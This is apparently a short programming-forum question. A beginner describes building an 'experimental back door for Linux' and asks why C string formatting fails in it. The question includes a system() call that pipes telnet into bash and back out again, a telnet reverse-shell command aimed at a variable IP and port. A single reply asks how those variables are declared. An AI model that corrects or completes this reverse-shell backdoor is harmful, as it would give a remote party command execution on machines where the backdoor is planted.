I am a bit of a beginner here. I am making an experimental back door for Linux that uses telnet to handle sockets. How can I use a variable in a string, I am used to python so I often would do something like this:
var0 = "asdf"
var1 = "I like "+var0+" movies"
But in C I am puzzled, because if I use this:
system("telnet %i %p | bash | telnet %i %p", IP, PORT);
I get this when executed:
telnet: could not resolve %i/%p: Servname not supported for ai_socktype
%i/%p??? Can somebody please explain this to me.
IPandPORTcan you show their declaration / definition?